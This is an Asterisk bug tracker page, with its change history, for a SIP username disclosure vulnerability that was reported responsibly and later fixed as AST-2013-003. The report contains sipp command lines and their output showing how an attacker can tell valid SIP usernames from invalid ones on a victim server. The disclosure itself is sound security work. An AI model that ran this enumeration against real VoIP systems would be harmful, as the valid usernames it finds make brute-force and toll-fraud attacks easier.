Details

      Description

      So.. I was trying if I could alter the SIP security framework messages to differentiate between auth failures for any UDP packet and those with a valid nonce. Those with a valid nonce would probably not have a spoofed IP, so I can use fail2ban on them with more peace of mind.

      But, then I saw the different handling of the alwaysauthreject-challenge and the "normal" challenge code. These differences can be observed by an attacker sniffing for valid usernames.

      VICTIM$ sudo asterisk -nrx 'sip show peers' | head -n4
      Name/username...
      100...
      101...
      102...
      
      VICTIM$ sudo asterisk -nrx 'core show version'
      Asterisk SVN-branch-11-r380384M
      
      ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 000 -ap badpass >/dev/null 
      000 is NOT a valid username
      ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 001 -ap badpass >/dev/null 
      001 is NOT a valid username
      ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 100 -ap badpass >/dev/null 
      100 is a valid username
      ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 101 -ap badpass >/dev/null 
      101 is a valid username
      

      I haven't done any work on fixing the issue. But it's likely that the right fix would be to follow the normal challenge code path as much as possible.

      Regards,
      Walter Doekes
      OSSO B.V.
      (my employer wouldn't mind if OSSO B.V. is mentioned in a security bulletin if that were to be produced)

      1. AST-2013-003-1.8.diff
        14 kB
        Matt Jordan
      2. AST-2013-003-10.diff
        16 kB
        Matt Jordan
      3. AST-2013-003-11.diff
        16 kB
        Matt Jordan
      4. ASTERISK-21013.diff
        16 kB
        Kinsey Moore
      5. ASTERISK-21013.diff
        8 kB
        Kinsey Moore
      6. ASTERISK-21013.diff
        2 kB
        Kinsey Moore
      7. invite-username-disclosure-1.xml
        2 kB
        Walter Doekes
      8. invite-username-disclosure-1.xml
        2 kB
        Walter Doekes
      9. invite-username-disclosure-2.xml
        3 kB
        Walter Doekes
      10. invite-username-disclosure-2.xml
        3 kB
        Walter Doekes
      11. invite-username-disclosure-3.xml
        4 kB
        Walter Doekes
      12. invite-username-disclosure-3.xml
        4 kB
        Walter Doekes
      13. issueA21013_better_but_not_there_yet.patch
        4 kB
        Walter Doekes
      14. issueA21013_bogopeer_still_needs_alwaysauthreject_cleanup.patch
        6 kB
        Walter Doekes
      15. issueA21013_more_cleanup_more_fixes.patch
        14 kB
        Walter Doekes
      16. issueA21013_with_null_check.patch
        16 kB
        Walter Doekes
      17. register-username-disclosure.xml
        2 kB
        Walter Doekes
      18. register-username-disclosure.xml
        2 kB
        Walter Doekes
      19. register-username-disclosure-2.xml
        2 kB
        Walter Doekes

        Issue Links

          Activity

          Walter Doekes created issue -
          Matt Jordan made changes -
          Field Original Value New Value
          Security None [ 10113 ] Reporter, Bug Marshals, and Digium [ 10110 ]
          Walter Doekes made changes -
          Summary DUMMY (be patient.. still updating this issue)
          Walter Doekes made changes -
          Affects Version/s 11.2.1 [ 11983 ]
          Walter Doekes made changes -
          Component/s Channels/chan_sip/General [ 10919 ]
          Walter Doekes made changes -
          Attachment register-username-disclosure.xml [ 46224 ]
          Walter Doekes made changes -
          Description FIXME So.. I was trying if I could alter the SIP security framework messages to differentiate between auth failures for any UDP packet and those with a valid nonce. Those with a valid nonce would probably not have a spoofed IP, so I can use fail2ban on them with more peace of mind.

          But, then I saw the different handling of the alwaysauthreject-challenge and the "normal" challenge code. These differences can be observed by an attacker sniffing for valid usernames.

          {noformat}
          VICTIM$ sudo asterisk -nrx 'sip show peers' | head -n4
          Name/username...
          100...
          101...
          102...

          VICTIM$ sudo asterisk -nrx 'core show version'
          Asterisk SVN-branch-11-r380384M
          {noformat}

          {noformat}
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 000 -ap badpass >/dev/null
          000 is NOT a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 001 -ap badpass >/dev/null
          001 is NOT a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 100 -ap badpass >/dev/null
          100 is a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 101 -ap badpass >/dev/null
          101 is a valid username
          {noformat}

          I haven't done any work on fixing the issue. But it's likely that the right fix would be to follow the normal challenge code path as much as possible.

          Regards,
          Walter Doekes
          OSSO B.V.
          (my employer wouldn't mind if OSSO B.V. is mentioned in a security bulletin if that were to be produced)
          Walter Doekes made changes -
          Comment [ So.. I was trying if I could alter the SIP security framework messages to differentiate between auth failures for any UDP packet and those with a valid nonce. Those with a valid nonce would probably not have a spoofed IP, so I can use fail2ban on them with more peace of mind.

          But, then I saw the different handling of the alwaysauthreject-challenge and the "normal" challenge code. These differences can be observed by an attacker sniffing for valid usernames.

          {noformat}
          VICTIM$ sudo asterisk -nrx 'sip show peers' | head -n4
          Name/username...
          100...
          101...
          102...

          VICTIM$ sudo asterisk -nrx 'core show version'
          Asterisk SVN-branch-11-r380384M
          {noformat}

          {noformat}
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 000 -ap badpass >/dev/null
          000 is NOT a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 001 -ap badpass >/dev/null
          001 is NOT a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 100 -ap badpass >/dev/null
          100 is a valid username
          ATTACKER$ sipp -m 1 -sf register-username-disclosure.xml VICTIM -s 101 -ap badpass >/dev/null
          101 is a valid username
          {noformat}

          I haven't done any work on fixing the issue. But it's likely that the right fix would be to follow the normal challenge code path as much as possible.

          Regards,
          Walter Doekes
          OSSO B.V.
          (my employer wouldn't mind if OSSO B.V. is mentioned in a security bulletin if that were to be produced) ]
          Walter Doekes made changes -
          Summary (be patient.. still updating this issue) sip username disclosure
          Rusty Newton made changes -
          Status Triage [ 10000 ] Open [ 1 ]
          Rusty Newton made changes -
          Link This issue is the original version of this clone: ASTERISK-21018 [ ASTERISK-21018 ]
          Kinsey Moore made changes -
          Assignee Kinsey Moore [ kmoore ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46274 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46274 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46280 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-1.xml [ 46283 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-2.xml [ 46284 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-1.xml [ 46283 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-2.xml [ 46284 ]
          Walter Doekes made changes -
          Attachment register-username-disclosure.xml [ 46224 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-1.xml [ 46285 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-2.xml [ 46286 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-3.xml [ 46287 ]
          Walter Doekes made changes -
          Attachment register-username-disclosure.xml [ 46288 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46280 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46298 ]
          Walter Doekes made changes -
          Walter Doekes made changes -
          Walter Doekes made changes -
          Attachment register-username-disclosure.xml [ 46345 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-1.xml [ 46346 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-2.xml [ 46347 ]
          Walter Doekes made changes -
          Attachment invite-username-disclosure-3.xml [ 46348 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46363 ]
          Walter Doekes made changes -
          Walter Doekes made changes -
          Attachment register-username-disclosure-2.xml [ 46366 ]
          Kinsey Moore made changes -
          Attachment ASTERISK-21013.diff [ 46376 ]
          Walter Doekes made changes -
          Attachment issueA21013_with_null_check.patch [ 46378 ]
          Matt Jordan made changes -
          Summary sip username disclosure Security Vulnerability: sip username disclosure
          Matt Jordan made changes -
          Link This issue is a clone of ASTERISK-21212 [ ASTERISK-21212 ]
          Matt Jordan made changes -
          Link This issue must be completed before resolving ASTERISK-21005 [ ASTERISK-21005 ]
          Matt Jordan made changes -
          Link This issue must be completed before resolving ASTERISK-21004 [ ASTERISK-21004 ]
          Matt Jordan made changes -
          Attachment AST-2013-003-1.8.diff [ 46826 ]
          Attachment AST-2013-003-10.diff [ 46827 ]
          Attachment AST-2013-003-11.diff [ 46828 ]
          Matt Jordan made changes -
          Status Open [ 1 ] Closed [ 6 ]
          Resolution Fixed [ 1 ]
          Matt Jordan made changes -
          Security Reporter, Bug Marshals, and Digium [ 10110 ]
          Matt Jordan made changes -
          Target Release Version/s 11.2.2 [ 12193 ]
          Target Release Version/s 10.12.2-digiumphones [ 12192 ]
          Target Release Version/s 10.12.2 [ 12191 ]
          Target Release Version/s 1.8.20.2 [ 12190 ]
          Matt Jordan made changes -
          Target Release Version/s 1.8.22.0 [ 12197 ]
          Matt Jordan made changes -
          Target Release Version/s 11.4.0 [ 12198 ]

            People

            • Votes:
              0 Vote for this issue
              Watchers:
              4 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:

                Development